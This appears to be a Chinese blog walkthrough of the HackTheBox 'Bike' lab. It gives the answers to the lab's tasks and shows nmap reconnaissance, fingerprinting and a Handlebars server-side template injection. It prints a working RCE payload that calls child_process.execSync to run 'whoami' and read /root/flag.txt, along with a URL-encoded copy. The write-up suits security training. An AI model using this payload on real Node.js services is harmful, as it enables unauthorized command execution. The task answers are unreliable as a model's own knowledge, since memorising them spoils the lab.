• HackTheBox-Starting Point--Tier 1---Bike



    一 题目

    Tags

    Web、Injection、Custom Applications、NodeJS、Reconnaissance、Remote Code Execution、Server Side Template Injection (SSTI)
    
    译文:Web、注入、定制应用程序、NodeJS、侦察、远程代码执行、服务器端模板注入 (SSTI)
    
    • 1
    • 2
    • 3

    Connect

    To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
    It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.
    
    译文:要攻击目标机器,您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
    HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新,请刷新页面。
    
    • 1
    • 2
    • 3
    • 4
    • 5

    SPAWN MACHINE

    Spawn the target machine and the IP will show here.
    
    译文:生成目标机器,IP 将显示在此处
    
    • 1
    • 2
    • 3

    TASK 1

    What TCP ports does nmap identify as open? Answer with a list of ports seperated by commas with no spaces, from low to high.
    
    译文:nmap 识别哪些 TCP 端口为开放?回答以逗号分隔的端口列表,不带空格,从低到高。
    
    答:22,80
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 2

    What software is running the service listening on the http/web port identified in the first question?
    
    译文:什么软件正在运行侦听第一个问题中标识的 http/web 端口的服务?
    
    答:Node.js
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 3

    What is the name of the Web Framework according to Wappalyzer?
    
    译文:根据 Wappalyzer,Web 框架的名称是什么?
    
    答:Express
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 4

    What is the name of the vulnerability we test for by submitting {{7*7}}?
    
    译文:我们通过提交 {{7*7}} 测试的漏洞的名称是什么?
    
    答:Server Side Template Injection
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 5

    What is the templating engine being used within Node.JS?
    
    译文:Node.JS 中使用的模板引擎是什么?
    
    答:handlebars
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 6

    What is the name of the BurpSuite tab used to encode text?
    
    译文:用于对文本进行编码的 BurpSuite 选项卡的名称是什么?
    
    答:Decoder
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 7

    In order to send special characters in our payload in an HTTP request, we'll encode the payload. What type of encoding do we use?
    
    译文:为了在 HTTP 请求中发送有效负载中的特殊字符,我们将对有效负载进行编码。我们使用什么类型的编码?
    
    答:url
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 8

    When we use a payload from HackTricks to try to run system commands, we get an error back. What is "not defined" in the response error?
    
    译文:当我们使用 HackTricks 中的有效负载尝试运行系统命令时,我们会收到错误消息。响应错误中的“未定义”是什么?
    
    答:require
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 9

    What variable is the name of the top-level scope in Node.JS?
    
    译文:Node.JS 中顶级作用域的名称是什么变量?
    
    答:global
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 10

    By exploiting this vulnerability, we get command execution as the user that the webserver is running as. What is the name of that user?
    
    译文:通过利用此漏洞,我们可以以 Web 服务器运行时的用户身份执行命令。该用户的名字是什么?
    
    答:root
    
    • 1
    • 2
    • 3
    • 4
    • 5

    SUBMIT FLAG

    Submit root flag
    
    译文:提交根标志
    
    • 1
    • 2
    • 3

    二 实验过程

    1.端口扫描

    nmap -sV -sC 10.129.255.141
    
    • 1

    在这里插入图片描述

    2.访问80端口
    在这里插入图片描述

    3.指纹识别
      服务器是基于Node.js构建的,并且使用Express框架。

    在这里插入图片描述


    三 服务器端模版引擎注入(SSTI)

    1.什么是模版引擎

      模版引擎用于在网页上显示动态生成的内容,用用户输入替换模版文件的变量,并将这些值显示给客户端。

    2.SSTI

      SSTi是指攻击者向模版中注入恶意输入以在服务器上上执行恶意命令的漏洞。攻击者在本地将代码注入网页中,代码通过模版引擎运行,而不是作为数据传入时,在受影响的服务器上执行。这种攻击者Node.js中较为常见。

    3.挖掘SSTI

      在E-mail输入框输入SSIT探测字符{{7*7}},页面报错,报错信息显示使用handlebars模版引擎,并且在/root/Backend目录下运行。

    在这里插入图片描述

    4.执行payload

      下述payload执行whoami命令。

    {{#with "s" as |string|}}
      {{#with "e"}}
        {{#with split as |conslist|}}
          {{this.pop}}
          {{this.push (lookup string.sub "constructor")}}
          {{this.pop}}
          {{#with string.split as |codelist|}}
            {{this.pop}}
            {{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}
            {{this.pop}}
            {{#each conslist}}
              {{#with (string.sub.apply 0 codelist)}}
                {{this}}
              {{/with}}
            {{/each}}
          {{/with}}
        {{/with}}
      {{/with}}
    {{/with}}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

      其中 execsync('----') 部分为我们需要更改执行的命令

     {{this.push "return process。process.mainModule.require('child_process').execSync('whoami');"}}
    
    • 1

      对payload进行URL编码:

    %7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%53%79%6e%63%28%27%77%68%6f%61%6d%69%27%29%3b%22%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d
    
    • 1

      使用burpsuite抓包,更改email参数为URL编码下的payload,命令执行成功

    在这里插入图片描述
      执行命令查看root目录 ls /root/flag.txt,对payload进行url编码

    {{#with "s" as |string|}}
      {{#with "e"}}
        {{#with split as |conslist|}}
          {{this.pop}}
          {{this.push (lookup string.sub "constructor")}}
          {{this.pop}}
          {{#with string.split as |codelist|}}
            {{this.pop}}
            {{this.push "return process.mainModule.require('child_process').execSync('cat /root/flag.txt');"}}
            {{this.pop}}
            {{#each conslist}}
              {{#with (string.sub.apply 0 codelist)}}
                {{this}}
              {{/with}}
            {{/each}}
          {{/with}}
        {{/with}}
      {{/with}}
    {{/with}}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    在这里插入图片描述

  • 相关阅读:
    做题日记 之 EXCEL排序(HDU-1862)
    SpringBoot热部署插件原理分析及实战演练
    面向大规模向量搜索引擎的内存-硬盘优化的近似最近邻搜索算法(GRIP)
    【高效】【IDE】IDEA 常用设置详解(持续更新)
    stable diffusion模型训练时数据量
    每次抢票都被某软件坑加速包的钱?这个脚本你值得拥有,一毛不用花。
    C51--简易报警器设计
    JavaScript随手笔记---保留小数位
    qt.qpa.plugin: Could not load the Qt platform plugin “xcb“
    linux三剑客(grep、sed、awk)基本使用
  • 原文地址:https://blog.csdn.net/sycamorelg/article/details/134244664